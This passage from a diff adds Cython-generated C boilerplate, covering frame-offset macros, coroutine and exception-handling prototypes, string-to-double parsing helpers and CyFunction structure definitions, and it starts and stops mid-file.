+#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* PyObject_Unicode.proto */ +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Str(obj)) +#else +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Unicode(obj)) +#endif + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* GetAttr.proto */ +static CYTHON_INLINE PyObject *__Pyx_GetAttr(PyObject *, PyObject *); + +/* HasAttr.proto */ +static CYTHON_INLINE int __Pyx_HasAttr(PyObject *, PyObject *); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* RaiseTooManyValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); + +/* RaiseNeedMoreValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); + +/* IterFinish.proto */ +static CYTHON_INLINE int __Pyx_IterFinish(void); + +/* UnpackItemEndCheck.proto */ +static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pynumber_float.proto */ +static CYTHON_INLINE PyObject* __Pyx__PyNumber_Float(PyObject* obj); +#define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : __Pyx__PyNumber_Float(x)) + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) 